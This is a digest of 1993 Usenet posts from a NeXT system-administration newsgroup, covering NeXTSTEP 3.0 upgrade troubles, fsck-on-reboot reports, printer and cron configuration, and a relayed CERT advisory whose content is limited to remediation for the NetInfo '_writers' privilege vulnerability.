From: tom@cse.fau.edu (Tom Horton) Newsgroups: comp.sys.next.sysadmin Subject: websterd under 3.0 Message-ID: <1993Jan20.010424.4539@cybernet.cse.fau.edu> Date: 20 Jan 93 01:04:24 GMT Sender: news@cybernet.cse.fau.edu Organization: Florida Atlantic University, Boca Raton Does websterd work for NeXTSTEP 3.0? I have ftp'd the files from iuvax.cs.indiana.edu, and while there's a directory there for 1.0 and 2.0, no mention of 3.0. I also see that the dictionary and thesaurus file names used to end in .nxbf under 2.1 and they don't under 3.0. Since the instructions seem to be 2.0 specific, I haven't actually tried setting it up on our 3.0 machine. What's the story? Tom ------------------------------------------------------------------------- Dr. Thomas B. Horton, Assistant Professor Dept. of Computer Science and Engineering, Florida Atlantic University Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800 Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax
From: pkron@corona.wa.com (Peter Kron) Newsgroups: comp.sys.next.sysadmin Subject: Re: Explanation of message during boot? Message-ID: <14.UUL1.3#16216@corona.wa.com> Date: Tue, 19 Jan 93 18:48:36 PDT References: <shmuli.727478601@techunix.technion.ac.il> Organization: Corona Design, Inc. > From: shmuli@techunix.technion.ac.il (Shmuel Browns) > Organization: Technion, Israel Institute of Technology > Date: Tue, 19 Jan 1993 21:23:21 GMT > > All of a sudden (or at least I never noticed it before), I get a message > right at the end of the boot sequence: > Windowserver Problem starting the NeXTdimension.psdrvr routine... > First of all, it's very hard to read it because almost instantaneously it > disappears and I get the regular login window. Is there a file somewhere where > the boot messages on the console are stored? > I don't have a NeXTDimension board. I'm running on a mono NeXTstation, > recently upgraded to 20MB RAM. I found the file NeXTdimension.psdrvr under > /usr/lib/NextStep/Displays The message is in error and, I believe, harmless. I have seen it regularly on color NextStations and it caused no harm. (You probably just never noticed it.) Most messages (including this one) can be found logged in /usr/adm/messages. --------------- Peter Kron Corona Design, Inc. Peter_Kron@corona.wa.com
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: ed@talus.com Subject: 250 Mb want to be a developer machine ;) Message-ID: <1993Jan20.043337.2185@talus.com> Sender: ed@talus.com Organization: Talus Corporation Date: Wed, 20 Jan 1993 04:33:37 GMT Hi there, I have got quite a stupid Network setup here, but I don't have time to mess with it : one Color 24 Mb of RAM with 250 Mb HD with NS 3.0 is the server for mail/news/files/UserDir because it is hooked to a 900 Mb HD and a 650 Mb OD. one B&W 16/400 as a client (it has the Extended version of 3.0). Unfortunately I use the color machine (though it is more fun that a monochrome, under 3.0). Craig gets to play with the monochrome, with the developer version and he doesn't know what C is (nor B what that matter) Don't ask why ! What directories do I need to link over NFS to be able to compile, use IB, emacs, ProjectBuilder, etc et. I want to code again !!! Ed. -- Erik Dasque "The French guy" Houston (713) 561-0700 V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed.
Newsgroups: comp.sys.next.sysadmin From: mckelvey@fafnir.com (James W. McKelvey) Subject: Re: HELP! System ALWAYS does disk check Message-ID: <C156H9.4Kx@fafnir.com> Sender: mckelvey@fafnir.com (James W. McKelvey) Organization: Fafnir Software, Saugus, CA, USA References: <1jeoj6INNd8r@ni.umd.edu> Date: Wed, 20 Jan 1993 07:36:44 GMT In article <1jeoj6INNd8r@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes: > In article <1993Jan17.195642.393@count0.cmhnet.org> cgb@count0.cmhnet.org writes: > > >Has started ALWAYS doing a FULL check disk on power up. > >running fsck in single user on the raw device does not > >turn up ANYTHING and doing a reboot -q -n after the fsck > >will work as long as I don't turn the power off... > > > >If I power the system down and back on it WILL do a full disk check.. > > > >Any ideas? > > Sure. Don't shut down your system that way. By RTFM 'man reboot': > > Options to reboot are: > > -n Avoids the sync. It can be used if a disk or the pro- > cessor is on fire. > > -q Reboots quickly and ungracefully, without shutting down > running processes first. > > Note the "quickly and ungracefully" as well as "Avoids the sync". > Unless the file system is marked as being unmounted cleanly when the > system goes down, it will need to be fsck'ed to ensure that its in > good shape. > > To shut the system down, just use "shutdown" or "halt" with no > options. It works for me. > > Louis Mamakos Maybe so. But I have 7 stations on a net and NONE of them can be reliably rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server never has a problem. There is obviously a bad bug in 3.0. -- The gentle journey jars to stop. The drifting dream is done. The long gone goblins loom ahead; the deadly, that we thought were dead, stand waiting, every one. -- Walt Kelly Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin From: outland!jmast@ms.uky.edu (John A. Mastrolia) Subject: Re: UPS - Stedi-LANDing Systems Message-ID: <C1500C.5ny@outland.uucp> Sender: jmast@outland.uucp (John A. Mastrolia) Organization: Kentucky NeXT Users Group (KYNUG) References: <1j48t3INNra2@darkstar.UCSC.EDU> Date: Wed, 20 Jan 1993 05:16:59 GMT In article <1j48t3INNra2@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes: -> -> In article <1993Jan14.155818.11950@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: -> >In article <1j34m9INNjo2@darkstar.UCSC.EDU> -> >isbell@cats.ucsc.edu (Art Isbell) writes: -> -> >>So if you're considering a UPS purchase, support the only UPS vendor who -> >>supports NeXTSTEP. -> -> >If possible, could you please post price/capacity into? -> >Thanks! -> I bought the smallest StedLANding system which includes the 500 Turbo -> StediWatt UPS of 400 watt capacity (I guess the "500" refers to its -> capacity in volt-amps). [Stuff Deleted] -> -> Art Isbell Cubic Solutions -> NeXT Registered Developer #745 NeXT software development and consulting -> NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154 -> USmail: 95018-9442 Fax: (408)335-2515 I have Stedi-Landing's Turbo 750 system and have had *no* problems with it whatsoever! I installed it in November of last year with the supplied software. Both hardware and software have worked flawlessly on my system (Mono-Turbo Slab, NeXT CD-ROM, External HD, Modem). The only item I can't protect with it is my NeXT Laser printer due to it's power requirements, though I have plenty of capacity to add more HD's, Tape Drives, etc. I've had only 3 power outages that lasted for less than 10 minutes. The system shuts down cleanly after warning you in both a dialogue box and voice alert. The software also logs the power incidents to a file and has user defined warning times and messages (e.g. you can shut down at 2 minutes, 5 minutes, or whatever). On my system, the Turbo-750 will keep the system running over 15 minutes. Voice alerts are supplied in sound files that can also be modified to suit the user as well. It's a great system with excellent support. For more info, contact Scott Liddick at Stedi-LANDing systems: (800)733-3155. -- John A. Mastrolia +1 606 266-7640 outland!jmast@ms.uky.edu
From: szatrows@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin Subject: NUCA (REMINDER) Message-ID: <Jan.20.01.57.28.1993.3787@gandalf.rutgers.edu> Date: 20 Jan 93 06:57:28 GMT References: <1992Dec30.201547.21564@kakwa.ucs.ualberta.ca> <1993Jan7.180212.2847@boba.rhein-main.de> Followup-To: comp.sys.next.programmer Organization: Rutgers Univ., New Brunswick, N.J. N U C A---REMINDER---REMINDER---REMINDER---REMINDER---REMINDER!!!! NeXT Users' Choice Awards---Thanks to Conrad Geiger for the name! Submissions will be taken until _Jan 23,_1993_. All you need to do is send back the form attached below with your favorite software or hardware products for 1992. The subject of the post should be Re: NUCA (or just replying to this post). Send votes to szatrows@gandalf.rutgers.edu I will post the results and maybe see about getting little trophies or ribbons made up for the winners. This is your chance to reward the great NeXT Developer community by shining some well deserved praise their way. The rules are: - You can only vote once (i.e. one vote per e-mail address). - You can vote for any product you wish; be it from NeXT, a 3rd party developer, shareware/freeware (or those tasty frosted donuts from Hostess under the 'other' category ;-) Finally I made up a logo for the winners to use (if they want to) to let everyone know that they won the NUCA. I'll put it up on both orst and nova. People can let me know if they think it stinks and if so please feel free to make your own (after all it is the U S E R S ' choice award so the users should get involved!). BTW you will need Helvetica-Black and Avant Garde (Book Oblique & Demi Oblique) to see the logo in all of its glory :-) NUCA Form below: ----------------------------------------------------------------------- 1.) Software a.) Audio : b.) Communications : c.) DataBase : d.) Developer : e.) Desk Top Publishing: f.) Game : g.) Graphic : h.) MultiMedia : i.) Scientific : j.) Spreadsheet : k.) Wordprocessing : l.) Utility : m.) Video : n.) Other : 2.) Overall Software Product of the Year : 3.) Hardware a.) Audio : b.) Communications : c.) Display : d.) Graphic Input : e.) Mass Storage : f.) Printing/Output : g.) Video : h.) Other : 4.) Overall Hardware Product of the Year : 5.) Overall Product of the Year : -- NeXT Campus Consultant---Rutgers, the State University of New Jersey |my %^) John Kheit/monoChrome | Opinions expressed represent me only! |fried %-) 173 Westgate Drive | Audix Voice Mail# (415) 366-0900 X5512 |brain %>) Edison, NJ 08820-1163 | kheit@hangout.rutgers.edu,szatrows@gandalf.rutgers.edu
From: jkight@au-ns.american.edu (Jeff Kight) Newsgroups: comp.sys.next.sysadmin Subject: crontab.local / loginwindow dwrite problems?!? Date: 20 Jan 1993 07:54:36 -0500 Organization: The American University Computing Center Message-ID: <1jji2cINNca0@au-ns.american.edu> Here is a strange one for you all... I am running INN 1.2 in production on a NeXTstation. Everynight, at 1am, I want to run news.daily which runs expire, statistics et al. I also want to run my uucp user stats. Last week, I read the post about the loginwindow dwrites. And put the values in []'s in for my values: dwrite loginwindow TimeToDim <integer_number> [1020] dwrite loginwindow MoveWhenIdle YES [YES] dwrite loginwindow MovementTimeout <real_number> [15] dwrite loginwindow MovementScale <integer_number> [200] dwrite loginwindow MovementRate <real_number> [600] My crontab.local looked like the following: 0 0 * * * root /usr/bin/nidump passwd . > /etc/passwd 1 0 * * * root /usr/bin/nidump group . > /etc/group 2 0 * * * root /usr/etc/ntp -s umd1.umd.edu dcn1.udel.edu > /dev/console 2>&1 3 0 * * * root /usr/local/cops-1.04/cops > /dev/console 2>&1 10 0 * * * root /usr/local/crack-4.1/gecos/check_gecos > /dev/console 2>&1 0 1 * * * news /usr/local/inn-1.2/news/bin/news.daily > /dev/console 2>&1 55 23 * * * uucp /etc/uucp/uucp.day > /dev/console 2>&1 PROBLEM: Since the day I made the dwrite changes, the last 2 entries (they are both run as non-root) were not being run by cron. 5 days later (after running the reports by hand) I track back to this coincidence, and so...yesterday, I removed the dwrites, and presto, my reports are running again. (Note: this could be entirely coincidence, but at this point in time, it doesn't look like it) QUESTION: Has anybody else experienced this type of wierdness, either with dwrites or cron? Thanks... Jeff -- Jeff Kight jkight@american.edu The American University Computing Center (202) 885-2281 Washington DC 20016-8019 USA Fax (202) 885-2224
Newsgroups: comp.sys.next.sysadmin From: wkwong@sample.eng.ohio-state.edu (Waihon Andrew Kwong) Subject: Re: HELP! System ALWAYS does disk check Message-ID: <1993Jan20.143915.1633@ee.eng.ohio-state.edu> Sender: news@ee.eng.ohio-state.edu Organization: The Ohio State University Dept of Electrical Engineering References: <1jeoj6INNd8r@ni.umd.edu> <C156H9.4Kx@fafnir.com> Date: Wed, 20 Jan 1993 14:39:15 GMT In article <C156H9.4Kx@fafnir.com>, mckelvey@fafnir.com (James W. McKelvey) writes: > > Maybe so. But I have 7 stations on a net and NONE of them can be reliably > rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server > never has a problem. There is obviously a bad bug in 3.0. > -- > The gentle journey jars to stop. The drifting dream is > done. The long gone goblins loom ahead; the deadly, > that we thought were dead, stand waiting, every one. > -- Walt Kelly Jim McKelvey mckelvey@fafnir.com I find this on our network, too. Will this cause any problem??? Andy
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: HELP! System ALWAYS does disk check Message-ID: <18041@umd5.umd.edu> Date: 20 Jan 93 15:13:09 GMT References: <1jeoj6INNd8r@ni.umd.edu> <C156H9.4Kx@fafnir.com> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <C156H9.4Kx@fafnir.com> mckelvey@fafnir.com writes: >Maybe so. But I have 7 stations on a net and NONE of them can be reliably >rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server >never has a problem. There is obviously a bad bug in 3.0. Works fine for me. Of course, the obvious thing that I missed is whether or not you've stopped doing reboot -q -n; does a normal 'reboot' work in 3.0 for you? Do you alias reboot to something else? Is the binary linked to something else? ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ Weiler's Law: Nothing is impossible for the man who doesn't have to do it himself.
From: neil@kynug.org (Neil Greene) Newsgroups: comp.sys.next.sysadmin Subject: Re: HELP! System ALWAYS does disk check Message-ID: <1993Jan20.152214.13951@kynug.org> Date: 20 Jan 93 15:22:14 GMT References: <C156H9.4Kx@fafnir.com> Sender: neil@kynug.org (Neil Greene) Organization: Kentucky NeXT User Group, Inc. In article <C156H9.4Kx@fafnir.com> mckelvey@fafnir.com (James W. McKelvey) writes: > In article <1jeoj6INNd8r@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) > writes: > > In article <1993Jan17.195642.393@count0.cmhnet.org> cgb@count0.cmhnet.org > writes: > > > > >Has started ALWAYS doing a FULL check disk on power up. > > >running fsck in single user on the raw device does not > > >turn up ANYTHING and doing a reboot -q -n after the fsck > > >will work as long as I don't turn the power off... > > > > > >If I power the system down and back on it WILL do a full disk check.. > > > > > >Any ideas? > > > > Sure. Don't shut down your system that way. By RTFM 'man reboot': > > > > Options to reboot are: > > > > -n Avoids the sync. It can be used if a disk or the pro- > > cessor is on fire. > > > > -q Reboots quickly and ungracefully, without shutting down > > running processes first. > > > > Note the "quickly and ungracefully" as well as "Avoids the sync". > > Unless the file system is marked as being unmounted cleanly when the > > system goes down, it will need to be fsck'ed to ensure that its in > > good shape. > > > > To shut the system down, just use "shutdown" or "halt" with no > > options. It works for me. > > > > Louis Mamakos > > Maybe so. But I have 7 stations on a net and NONE of them can be reliably > rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server > never has a problem. There is obviously a bad bug in 3.0. > -- > The gentle journey jars to stop. The drifting dream is > done. The long gone goblins loom ahead; the deadly, > that we thought were dead, stand waiting, every one. > -- Walt Kelly Jim McKelvey mckelvey@fafnir.com What peripherals do you have connected to your machine? I have the following configuration: NeXTCube, internal 1.4 (1) , MorningStar SnapLink (3), UniNet Slat (4) , external 1.4G HD (5) , Exabyte tape drive (6). I have noticed that my system _ALWAYS_ does an fsck when the Exabyte tape drive is connected. The scsi chain is properly terminated, but for some reason if that drive is connected and I reboot my system it will perform a fsck. Any answers??? -- Neil Greene President, Kentucky NeXT User Group, Inc. Email: neil@kynug.org [NeXTMail] -- Neil Greene President, Kentucky NeXT User Group, Inc. Email: neil@kynug.org [NeXTMail]
Newsgroups: comp.sys.next.sysadmin From: jcorallo@ccsi.com (P. John Corallo) Subject: Re: Need Network Retries Monitor Message-ID: <1993Jan20.162314.394@ccsi.com> Sender: jcorallo@ccsi.com Organization: Crystal Computer Systems, Inc. References: <1993Jan19.185055.5236@leland.Stanford.EDU> Date: Wed, 20 Jan 1993 16:23:14 GMT In article <1993Jan19.185055.5236@leland.Stanford.EDU> gcolello@biosphere.Stanford.EDU (Greg Colello) writes: > Our local network seems to be "degraded", but still functional. The > degradation is not due to user traffic which is normal. It appears to be > performing lots of retries in the background, but packets are usually > successfully received (as shown by ping). Occassionally things REALLY > degrade and packets get lost for a period of time spread out over an hour. > Then things get better. No doubt we have a wiring problem somewhere, but > it's hard to fix when we don't have a good diagnostic of the marginal > functionality. I think we need a way to track the number of retries being > performed to get a better handle on our marginal network health. > > Is there a program that accumulates statistics on network retries? I have > run all the utilities referred to by the man pages (for example nfsstats > and ping). They don't seem to keep track of retries. > > I also have the public archive Next app KPerfMon. It shows network packet > activity, but that's all. > You can use netstat which comes with the NeXT, this will give information on the different interfaces you can get incoming-outgoing packets and errors also includes collisions and timeouts. In a terminal window type netstat -it. If you want to check performance use spray from a terminal window. In a terminal window type spray <hostname>. Also their is a monitor program for the NeXT that happens to be called Monitor. The source for this program is availible on the Big Green CD.
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: Default printer for lpr has suddenly changed - HOW TO FIX IT??? Date: 20 Jan 1993 18:05:43 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1jk49oINNqur@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu Suddenly (after installing and enabling the Appletalk package) my default printer (for lpr) changed from Local_Printer to jat_printer. Why??? How to make Local_Printer the default again??? Can you help? Please respond by email. Thanks. Take care...Paul Here is my printcap file (nidumped from netinfo): Local_Printer: \ :af=/B/ADM/ops.printer.acct:lf=/usr/adm/lpd-errs: \ :if=/usr/lib/NextPrinter/Server/prserver: \ :gf=/usr/lib/NextPrinter/Server/psgf: \ :nf=/usr/lib/NextPrinter/Server/psnf: \ :tf=/usr/lib/NextPrinter/Server/pstf: \ :rf=/usr/lib/NextPrinter/Server/psrf: \ :vf=/usr/lib/NextPrinter/Server/psvf: \ :cf=/usr/lib/NextPrinter/Server/pscf: \ :df=/usr/lib/NextPrinter/Server/psdf: \ :note=This is a local printer:ty=NeXT 400 dpi Level II Printer: \ :lp=/dev/null:sd=/usr/spool/NeXT/Local_Printer: \ : if=/usr/lib/NextPrinter/npcomm:sf=:sb=:mx=0:nxformat=3.0: \ :_writers=*: jat_printer: \ :lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \ :if=/usr/lib/NextPrinter/Server/prserver: \ :cf=/usr/lib/NextPrinter/Server/pscf: \ :df=/usr/lib/NextPrinter/Server/psdf: \ :gf=/usr/lib/NextPrinter/Server/psgf: \ :nf=/usr/lib/NextPrinter/Server/psnf: \ :rf=/usr/lib/NextPrinter/Server/psrf: \ :tf=/usr/lib/NextPrinter/Server/pstf: \ :vf=/usr/lib/NextPrinter/Server/psvf:ty=Apple LaserWriter IIg: \ :note=CH 319 jat_printer:nxformat=3.0: \ :sd=/usr/spool/NeXT/jat_printer:af=/usr/adm/jat_printer.acct: \ :_acceptsBinary=1:_writers=*: Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: janna@reliant.bsd.uchicago.edu (& Ore Nugent) Subject: infinite language select loop after 3.0 upgrade Message-ID: <1993Jan20.165158.10209@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations Date: Wed, 20 Jan 1993 16:51:58 GMT I thought I remembered seeing something about this on the net some time ago - if anyone has any solutions, please let me know. I've upgraded four NeXTstations from 2.1 to 3.0, and all four seemed to complete the upgrade successfully. After rebooting, the screen blanks and then pops up the language selection screen. I select English, the NeXT chugs for about a minute, then displays the language selection screen again. This could go on forever. Logging in to the machine remotely, I see the following error messages in /usr/adm/messages: candlestick -[148]: Can't find shared image file _NXSharedGray candlestick -[148]: Can't find shared image file _NXSharedGrayAlpha candlestick -[148]: couldn't load language strings candlestick -[148]: No cache for representation in NXImage. candlestick last message repeated 3 times candlestick -[148]: No cache for representation in NXImage. candlestick -[148]: Assertion failed: loadNIBSection: could not find data candlestick -[148]: Cannot load Interface Builder file: AlertPanel candlestick -[148]: Cannot load Interface Builder file AlertPanel.nib candlestick loginwindow[152]: loginwindow: could not find WindowServer port! Seems like I'm missing some files which I should be able to pull over from a functioning 3.0 machine. Any ideas? Help would be very appreciated! Janna Ore Nugent Biological Sciences Division
Newsgroups: comp.sys.next.sysadmin From: gcolello@biosphere.Stanford.EDU (Greg Colello) Subject: Re: HELP! System ALWAYS does disk check Message-ID: <1993Jan20.182431.14426@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1993Jan20.143915.1633@ee.eng.ohio-state.edu> Date: Wed, 20 Jan 93 18:24:31 GMT In article <1993Jan20.143915.1633@ee.eng.ohio-state.edu> wkwong@sample.eng.ohio-state.edu (Waihon Andrew Kwong) writes: > In article <C156H9.4Kx@fafnir.com>, mckelvey@fafnir.com (James W. McKelvey) writes: > > > > Maybe so. But I have 7 stations on a net and NONE of them can be reliably > > rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server > > never has a problem. There is obviously a bad bug in 3.0. > > -- > > The gentle journey jars to stop. The drifting dream is > > done. The long gone goblins loom ahead; the deadly, > > that we thought were dead, stand waiting, every one. > > -- Walt Kelly Jim McKelvey mckelvey@fafnir.com > > I find this on our network, too. Will this cause any problem??? > > Andy Happens here too (and we always power down with the power-down key so shutdown should be normal). But the client does not ALWAYS do an fsck. If the client machine has been up for a while (say a day), then it always does an fsck after powering down and then back up. But the fsck does NOT occur if I were to immediately power down again and then back up. Have you other folks tried this? Are your fsck's a "delayed" phenomenon also? I assumed this was being caused by the way I import /usr and /bin from the server after booting the client. I assumed there was some enigmatic conflict between the programs run at boot time from the client's /usr and /bin directories and the subsequent mounted ones from the server. Maybe not. >I have noticed that my system _ALWAYS_ does an fsck when the Exabyte tape >drive is connected. The scsi chain is properly terminated, but for some >reason if that drive is connected and I reboot my system it will perform > a fsck. Any answers??? We do have a SCSI device (the Next color printer), but this fsck problem occurred before adding the printer. >Different thread: crontab.local / loginwindow dwrite problems?!? >PROBLEM: Since the day I made the dwrite changes, the last 2 entries >(they are both run as non-root) were not being run by cron. 5 days later >(after running the reports by hand) I track back to this coincidence, and >so...yesterday, I removed the dwrites, and presto, my reports are running >again. (Note: this could be entirely coincidence, but at this point in >time, it doesn't look like it) We also use the loginwindow dwrites. Maybe there's a connection here, but I can't remember if our fsck problem started before we started using the dwrites. How about the rest of you with this problem. Are you using the loginwindow dwrites on your clients? Of course another simple answer to this problem is that it has nothing to do with NS3.0, but instead is an application we all use that is somehow corrupting the disk. This might explain the "delayed" effect I described above. ----------------------------------------------------------------- Greg Colello Carnegie Institution, Department of Plant Biology Stanford University gcolello@biosphere.stanford.edu (NeXT mail OK)
Newsgroups: comp.sys.next.sysadmin From: hinkle@sundance.cso.uiuc.edu (Steven Hinkle) Subject: Re: websterd under 3.0 References: <1993Jan20.010424.4539@cybernet.cse.fau.edu> Message-ID: <C15sy5.I8q@news.cso.uiuc.edu> Originator: hinkle@sundance.cso.uiuc.edu Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana/Champaing - CCSO Date: Wed, 20 Jan 1993 15:42:03 GMT In article <1993Jan20.010424.4539@cybernet.cse.fau.edu>, tom@cse.fau.edu (Tom Horton) writes: > Does websterd work for NeXTSTEP 3.0? I have ftp'd the files from > iuvax.cs.indiana.edu, and while there's a directory there for 1.0 and 2.0, > no mention of 3.0. I also see that the dictionary and thesaurus file names > used to end in .nxbf under 2.1 and they don't under 3.0. > > Since the instructions seem to be 2.0 specific, I haven't actually tried > setting it up on our 3.0 machine. What's the story? It doesn't work. (At least not as far as I know.) I tried to get it to run, but there seems to be some differences in the dictionary format as well as the file names. -- Steven Hinkle Computing and Communication Services Office s-hinkle@uiuc.edu University of Illinois at Urbana/Champaign
From: amm@NeXT.COM (Alan M. Marcum) Newsgroups: comp.sys.next.sysadmin Subject: CERT Advisory: NeXT NetInfo "_writers" Message-ID: <6318@rosie.NeXT.COM> Date: 20 Jan 93 20:40:38 GMT Sender: news@NeXT.COM Following is an advisory just released by CERT which pertains to the configuration of NetInfo on NeXT computers (and other computers running third-party NetInfo products). -- Alan M. Marcum NeXT Tech Support amm@NeXT.COM ========================================================== From: CERT Advisory <cert-advisory-request@cert.org> Date: Wed, 20 Jan 93 15:11:24 EST To: CERT Advisory <cert-advisory@cert.org> Subject: CERT Advisory - NeXT NetInfo "_writers" Vulnerabilities Organization: Computer Emergency Response Team : 412-268-7090 CA-93:02 CERT Advisory January 20, 1993 NeXT NetInfo "_writers" Vulnerabilities ----------------------------------------------------------------------- The CERT Coordination Center has received information from NeXT Computer, Inc. concerning a vulnerability in the distributed printing facility of NeXT computers running all releases of NeXTSTEP software through NeXTSTEP Release 3.0. For more information, please contact your authorized support center. If you are an authorized support provider, please contact NeXT through your normal channels. --------------------------------------------------------------------- I. Description The default NetInfo "_writers" properties are configured to allow users to install printers and FAX modems and to export them to the network without requiring assistance from the system administrator. They also allow a user to configure other parts of the system, such as monitor screens, without requiring help from the system administrator. Vulnerabilities exist in this facility that could allow users to gain unauthorized privileges on the system. II. Impact In the case of the "/printers" and the "/fax_modems" directories, the "_writers" property can permit users to obtain unauthorized root access to a system. In the "/localconfig/screens" directory, the "_writers" property can potentially permit a user to deny normal login access to other users. III. Solution To close the vulnerabilities, remove the "_writers" properties from the "/printers", "/fax_modems", and "/localconfig/screens" directories in all NetInfo domains on the network, and from all immediate subdirectories of all "/printers", "/fax_modems", and "/localconfig/screens" directories. The "_writers" properties may be removed using any one of the following three methods: A. As root, use the "niutil" command-line utility. For example, to remove the "_writers" property from the "/printers" directory: # /usr/bin/niutil -destroyprop . /printers _writers B. Alternatively, use the NetInfoManager application: open the desired domain, open the appropriate directory, select the "_writers" property, choose the "Delete" command [Cmd-r] from the "Edit" menu, and save the directory. C. To assist system administrators in editing their NetInfo domains, a shell script, "writersfix", is available via anonymous FTP from next.com (129.18.1.2): Filename Size Checksum -------- ---- -------- pub/Misc/Utilities/WritersFix.compressed 5515 53660 6 After transferring this file using BINARY transfer type, double-click on the file. A "WritersFix" directory will be created in your file system, containing the script ("writersfix") and some documentation ("WritersFix.rtf"). Consider removing "_writers" from other NetInfo directories as well (for example, "/locations"), noting the following trade-off between ease-of-use and security. By removing the "_writers" properties, the network and the computers on the network become more secure, but a system administrator's assistance is required where it previously was not required. Please refer to the NeXTSTEP Network and System Administration manual for additional information on "_writers". Note that the subdirectories of the "/users" directory have "_writers_passwd" set to the user whose account is described by the directory. This is essential if users are to be able to change their own passwords, and this does not compromise system security. --------------------------------------------------------------------- The CERT Coordination Center wishes to thank Alan Marcum and Eric Larson of NeXT Computer, Inc. for notifying us about the existence of these vulnerabilities and for providing appropriate technical information. ---------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in FIRST (Forum of Incident Response and Security Teams). Internet E-mail: cert@cert.org Telephone: 412-268-7090 (24-hour hotline) CERT personnel answer 7:30 a.m.-6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from cert.org (192.88.209.5).
From: Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to change language (loginwindow) Message-ID: <1993Jan20.233829.18868@mb3.tu-chemnitz.de> Date: 20 Jan 93 23:38:29 GMT References: <1993Jan18.124719.11072@cubx.fdn.org> Sender: inews@mb3.tu-chemnitz.de (Internet news) Organization: University of Technology Chemnitz, FRG In article <1993Jan18.124719.11072@cubx.fdn.org> b_brottier@cubx.com writes: > In article <1j54vpINN53i@network.ucsd.edu> wade@hobbes.ucsd.edu (Wade Blomgren) > writes: > | > | A user got to one of our turbo slabs that had just been upgraded to 3.0 > | before we did, and mischievously set the language and keyboard to > | French instead of the desired English, in the configuration application > | that comes up on the first reboot after a 3.0 install. > | > | I managed to find the right keys on the keyboard to feed in the root > | password and get in, and I changed the root prefs to USA keyboard and > | English, and now it seems if the average user logs in s/he gets an > | English environment, but the loginwindow is still in French. I > | rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for > | English and rebooted but the login window is still in French. > | No other likely files presented themselves in an rdist comparison > | of the tow machines. > | > | Suggestions on how to force the language back to English would be > | most welcome. > | > | Wade Blomgren > | wade@hobbes.ucsd.edu > > Just destroy > /etc/hostconfig > /etc/netinfo > > and put > /usr/template/client/etc/hostconfig > /usr/template/client/etc//netinfo > > at the previous place > Then power-down. > > When power-up, you will have the NetInfo panel one more time, and check the > correct items. > > Hope this helps > > > -- > --------------------------- > Bruno Brottier -- Responsable Formation > Societe improve sa, > 41-41 bis, avenue de l'Europe 78140 VELIZY > Tel : (+33) (1) 30 70 60 56 Fax : (+33) (1) 30 70 89 36 > E-mail: b_brottier@cubx.com -- [NeXTmail] another way is to use th file /etc/systemTar.Z which is a .tar.Z archive of all files which are modified during host configuration and to restore it. here a listing of this archive: total 2 drwxr-xr-x 4 root wheel 1024 Jan 21 00:31 etc drwxr-xr-x 3 root wheel 1024 Jan 21 00:31 private etc: total 8 -rw-r--r-- 1 root wheel 857 Jul 13 1989 bootparams -rw-r--r-- 1 root wheel 1951 Sep 10 1989 bootptab -rw-r--r-- 1 root wheel 236 Dec 9 1991 crontab -rw-r--r-- 1 root wheel 589 Aug 9 1990 hostconfig -rw-r--r-- 1 root wheel 828 Mar 18 1989 hosts drwxr-xr-x 3 root wheel 1024 Jan 21 00:31 netinfo drwxr-xr-x 2 root wheel 1024 Jan 21 00:31 sendmail etc/netinfo: total 1 drwxr-xr-x 2 root wheel 1024 Jan 21 00:31 local.nidb etc/netinfo/local.nidb: total 78 -rw-r--r-- 1 root wheel 78848 Aug 1 00:59 Collection -rw-r--r-- 1 root wheel 724 Aug 1 00:42 extension_149 etc/sendmail: total 28 -r--r--r-- 1 root wheel 9896 Jul 21 1992 sendmail.mailhost.cf -r--r--r-- 1 root wheel 8659 Jul 21 1992 sendmail.sharedsubsidiary.cf -r--r--r-- 1 root wheel 8410 Jul 21 1992 sendmail.subsidiary.cf private: total 1 drwxr-xr-x 2 root wheel 1024 Jan 21 00:31 tftpboot private/tftpboot: total 49 -r--r--r-- 1 root wheel 49812 Jul 30 04:48 boot HTH, Christian -- Name: Christian Andretzky | Address: Technische Universitaet Chemnitz | Phone: +49 371 561 2130 | Fachbereich Maschinenbau III | FAX: +49 371 561 2413 | Reichenhainer Str. 70 | mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 